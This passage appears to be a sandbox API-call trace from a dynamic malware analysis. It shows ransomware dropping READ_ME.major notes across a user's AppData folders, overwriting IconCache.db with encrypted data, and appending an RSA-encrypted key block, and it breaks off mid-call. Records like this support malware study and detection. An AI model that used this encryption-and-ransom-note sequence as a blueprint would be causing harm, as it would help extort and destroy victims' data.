nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Comms", cAlternateFileName="")) returned 1 [0154.944] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0154.944] GetLastError () returned 0x0 [0154.944] SetLastError (dwErrCode=0x0) [0154.944] GetLastError () returned 0x0 [0154.944] SetLastError (dwErrCode=0x0) [0154.945] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6d28 [0154.945] SetLastError (dwErrCode=0x0) [0154.945] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0154.945] SetLastError (dwErrCode=0x0) [0154.945] GetLastError () returned 0x0 [0154.945] SetLastError (dwErrCode=0x0) [0154.945] GetLastError () returned 0x0 [0154.945] SetLastError (dwErrCode=0x0) [0154.945] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0154.945] WriteFile (in: hFile=0x6a0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0154.946] CloseHandle (hObject=0x6a0) returned 1 [0154.946] FindNextFileW (in: hFindFile=0x631740, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc58b9bba, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc58b9bba, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc58b9bba, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ConnectedDevicesPlatform", cAlternateFileName="CONNEC~1")) returned 1 [0154.947] SetLastError (dwErrCode=0x0) [0154.947] GetLastError () returned 0x0 [0154.947] SetLastError (dwErrCode=0x0) [0154.947] SetLastError (dwErrCode=0x0) [0154.947] SetLastError (dwErrCode=0x0) [0154.947] GetLastError () returned 0x0 [0154.947] SetLastError (dwErrCode=0x0) [0154.947] SetLastError (dwErrCode=0x0) [0154.947] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\connecteddevicesplatform\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0154.947] WriteFile (in: hFile=0x6a0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0154.948] CloseHandle (hObject=0x6a0) returned 1 [0154.949] FindNextFileW (in: hFindFile=0x631740, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a3bd622, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x7e3bdb64, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Google", cAlternateFileName="")) returned 1 [0154.949] SetLastError (dwErrCode=0x0) [0154.949] GetLastError () returned 0x0 [0154.949] SetLastError (dwErrCode=0x0) [0154.949] SetLastError (dwErrCode=0x0) [0154.949] SetLastError (dwErrCode=0x0) [0154.949] GetLastError () returned 0x0 [0154.949] SetLastError (dwErrCode=0x0) [0154.949] GetLastError () returned 0x0 [0154.949] SetLastError (dwErrCode=0x0) [0154.949] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0154.949] WriteFile (in: hFile=0x6a0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0154.951] CloseHandle (hObject=0x6a0) returned 1 [0154.951] FindNextFileW (in: hFindFile=0x631740, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="History", cAlternateFileName="")) returned 1 [0154.951] SetLastError (dwErrCode=0x0) [0154.951] GetLastError () returned 0x0 [0154.951] SetLastError (dwErrCode=0x0) [0154.951] SetLastError (dwErrCode=0x0) [0154.951] SetLastError (dwErrCode=0x0) [0154.951] GetLastError () returned 0x0 [0154.951] SetLastError (dwErrCode=0x0) [0154.951] GetLastError () returned 0x0 [0154.951] SetLastError (dwErrCode=0x0) [0154.951] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\History\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\history\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0154.952] WriteFile (in: hFile=0x6a0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0154.953] CloseHandle (hObject=0x6a0) returned 1 [0154.953] FindNextFileW (in: hFindFile=0x631740, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4a3b706e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x4a3b706e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x56f5f2ae, ftLastWriteTime.dwHighDateTime=0x1d4ae7c, nFileSizeHigh=0x0, nFileSizeLow=0x11110, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="IconCache.db", cAlternateFileName="ICONCA~1.DB")) returned 1 [0154.953] SetLastError (dwErrCode=0x0) [0154.953] GetLastError () returned 0x0 [0154.953] SetLastError (dwErrCode=0x0) [0154.953] SetLastError (dwErrCode=0x0) [0154.953] FindNextFileW (in: hFindFile=0x631740, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0154.953] SetLastError (dwErrCode=0x0) [0154.954] GetLastError () returned 0x0 [0154.954] SetLastError (dwErrCode=0x0) [0154.954] SetLastError (dwErrCode=0x0) [0154.954] FindNextFileW (in: hFindFile=0x631740, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc895324f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd6772beb, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="MicrosoftEdge", cAlternateFileName="MICROS~2")) returned 1 [0154.954] SetLastError (dwErrCode=0x0) [0154.954] GetLastError () returned 0x0 [0154.954] SetLastError (dwErrCode=0x0) [0154.954] SetLastError (dwErrCode=0x0) [0154.954] SetLastError (dwErrCode=0x0) [0154.954] GetLastError () returned 0x0 [0154.954] SetLastError (dwErrCode=0x0) [0154.954] GetLastError () returned 0x0 [0154.954] SetLastError (dwErrCode=0x0) [0154.954] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0154.955] WriteFile (in: hFile=0x6a0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0154.956] CloseHandle (hObject=0x6a0) returned 1 [0154.956] FindNextFileW (in: hFindFile=0x631740, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfa9067e6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0154.956] SetLastError (dwErrCode=0x0) [0154.957] GetLastError () returned 0x0 [0154.957] SetLastError (dwErrCode=0x0) [0154.957] SetLastError (dwErrCode=0x0) [0154.957] SetLastError (dwErrCode=0x0) [0154.957] GetLastError () returned 0x0 [0154.957] SetLastError (dwErrCode=0x0) [0154.957] GetLastError () returned 0x0 [0154.957] SetLastError (dwErrCode=0x0) [0154.957] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0154.957] WriteFile (in: hFile=0x6a0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0154.958] CloseHandle (hObject=0x6a0) returned 1 [0154.958] FindNextFileW (in: hFindFile=0x631740, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xfe87ff8e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe87ff8e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Packages", cAlternateFileName="")) returned 1 [0154.959] SetLastError (dwErrCode=0x0) [0154.959] GetLastError () returned 0x0 [0154.959] SetLastError (dwErrCode=0x0) [0154.959] SetLastError (dwErrCode=0x0) [0154.959] SetLastError (dwErrCode=0x0) [0154.959] GetLastError () returned 0x0 [0154.959] SetLastError (dwErrCode=0x0) [0154.959] GetLastError () returned 0x0 [0154.959] SetLastError (dwErrCode=0x0) [0154.959] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0154.959] WriteFile (in: hFile=0x6a0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0154.963] CloseHandle (hObject=0x6a0) returned 1 [0154.963] FindNextFileW (in: hFindFile=0x631740, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf9e1b08, ftCreationTime.dwHighDateTime=0x1d32734, ftLastAccessTime.dwLowDateTime=0xd2f40fba, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdf9e1b08, ftLastWriteTime.dwHighDateTime=0x1d32734, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="PeerDistRepub", cAlternateFileName="PEERDI~1")) returned 1 [0154.963] SetLastError (dwErrCode=0x0) [0154.963] GetLastError () returned 0x0 [0154.964] SetLastError (dwErrCode=0x0) [0154.964] SetLastError (dwErrCode=0x0) [0154.964] SetLastError (dwErrCode=0x0) [0154.964] GetLastError () returned 0x0 [0154.964] SetLastError (dwErrCode=0x0) [0154.964] GetLastError () returned 0x0 [0154.964] SetLastError (dwErrCode=0x0) [0154.964] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\PeerDistRepub\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\peerdistrepub\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0154.965] WriteFile (in: hFile=0x6a0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0154.966] CloseHandle (hObject=0x6a0) returned 1 [0154.966] FindNextFileW (in: hFindFile=0x631740, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3e09841, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2f421af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe3e09841, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Publishers", cAlternateFileName="PUBLIS~1")) returned 1 [0154.966] SetLastError (dwErrCode=0x0) [0154.966] GetLastError () returned 0x0 [0154.966] SetLastError (dwErrCode=0x0) [0154.966] SetLastError (dwErrCode=0x0) [0154.966] SetLastError (dwErrCode=0x0) [0154.966] GetLastError () returned 0x0 [0154.966] SetLastError (dwErrCode=0x0) [0154.966] GetLastError () returned 0x0 [0154.967] SetLastError (dwErrCode=0x0) [0154.967] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Publishers\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\publishers\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0154.968] WriteFile (in: hFile=0x6a0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0154.969] CloseHandle (hObject=0x6a0) returned 1 [0154.969] FindNextFileW (in: hFindFile=0x631740, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15bc1818, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x15bc1818, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x15bc1818, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0154.969] SetLastError (dwErrCode=0x0) [0154.969] GetLastError () returned 0x0 [0154.969] SetLastError (dwErrCode=0x0) [0154.969] SetLastError (dwErrCode=0x0) [0154.969] FindNextFileW (in: hFindFile=0x631740, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x202cb66, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x202cb66, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0154.969] SetLastError (dwErrCode=0x0) [0154.969] GetLastError () returned 0x0 [0154.969] SetLastError (dwErrCode=0x0) [0154.969] GetLastError () returned 0x0 [0154.969] SetLastError (dwErrCode=0x0) [0154.969] FindNextFileW (in: hFindFile=0x631740, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0154.970] SetLastError (dwErrCode=0x0) [0154.970] GetLastError () returned 0x0 [0154.970] SetLastError (dwErrCode=0x0) [0154.970] SetLastError (dwErrCode=0x0) [0154.970] SetLastError (dwErrCode=0x0) [0154.970] GetLastError () returned 0x0 [0154.970] SetLastError (dwErrCode=0x0) [0154.970] SetLastError (dwErrCode=0x0) [0154.970] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temporary Internet Files\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temporary internet files\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0154.970] WriteFile (in: hFile=0x6a0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0154.971] CloseHandle (hObject=0x6a0) returned 1 [0154.972] FindNextFileW (in: hFindFile=0x631740, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cdbf8a7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd2fbd0ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3cdbf8a7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TileDataLayer", cAlternateFileName="TILEDA~1")) returned 1 [0154.972] SetLastError (dwErrCode=0x0) [0154.972] GetLastError () returned 0x0 [0154.972] SetLastError (dwErrCode=0x0) [0154.972] SetLastError (dwErrCode=0x0) [0154.972] SetLastError (dwErrCode=0x0) [0154.972] GetLastError () returned 0x0 [0154.972] SetLastError (dwErrCode=0x0) [0154.972] GetLastError () returned 0x0 [0154.972] SetLastError (dwErrCode=0x0) [0154.972] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\tiledatalayer\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0154.972] WriteFile (in: hFile=0x6a0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0154.973] CloseHandle (hObject=0x6a0) returned 1 [0154.974] FindNextFileW (in: hFindFile=0x631740, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf56c97e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xd3023f2d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf56c97e4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UNP", cAlternateFileName="")) returned 1 [0154.974] SetLastError (dwErrCode=0x0) [0154.974] GetLastError () returned 0x0 [0154.974] SetLastError (dwErrCode=0x0) [0154.974] GetLastError () returned 0x0 [0154.974] SetLastError (dwErrCode=0x0) [0154.974] SetLastError (dwErrCode=0x0) [0154.974] GetLastError () returned 0x0 [0154.974] SetLastError (dwErrCode=0x0) [0154.974] SetLastError (dwErrCode=0x0) [0154.974] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\UNP\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\unp\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0154.976] WriteFile (in: hFile=0x6a0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0154.977] CloseHandle (hObject=0x6a0) returned 1 [0154.977] FindNextFileW (in: hFindFile=0x631740, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a795684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3024d82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6a795684, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 1 [0154.977] SetLastError (dwErrCode=0x0) [0154.977] GetLastError () returned 0x0 [0154.977] SetLastError (dwErrCode=0x0) [0154.977] SetLastError (dwErrCode=0x0) [0154.977] SetLastError (dwErrCode=0x0) [0154.977] GetLastError () returned 0x0 [0154.977] SetLastError (dwErrCode=0x0) [0154.977] GetLastError () returned 0x0 [0154.977] SetLastError (dwErrCode=0x0) [0154.978] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\VirtualStore\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\virtualstore\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0154.978] WriteFile (in: hFile=0x6a0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0154.979] CloseHandle (hObject=0x6a0) returned 1 [0154.979] FindNextFileW (in: hFindFile=0x631740, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a795684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3024d82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6a795684, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 0 [0154.979] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0154.979] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\IconCache.db", dwFileAttributes=0x80) returned 1 [0154.980] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\iconcache.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0154.980] GetFileSizeEx (in: hFile=0x6a0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69904) returned 1 [0154.980] ReadFile (in: hFile=0x6a0, lpBuffer=0x2e40f20, nNumberOfBytesToRead=0x11110, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40f20*, lpNumberOfBytesRead=0x2e3f9b4*=0x11110, lpOverlapped=0x0) returned 1 [0154.983] SetFilePointer (in: hFile=0x6a0, lDistanceToMove=-69904, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0154.983] WriteFile (in: hFile=0x6a0, lpBuffer=0x2e52038*, nNumberOfBytesToWrite=0x11110, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e52038*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11110, lpOverlapped=0x0) returned 1 [0154.984] SetFilePointer (in: hFile=0x6a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11110 [0154.984] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.984] WriteFile (in: hFile=0x6a0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.984] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0154.984] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0154.984] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | 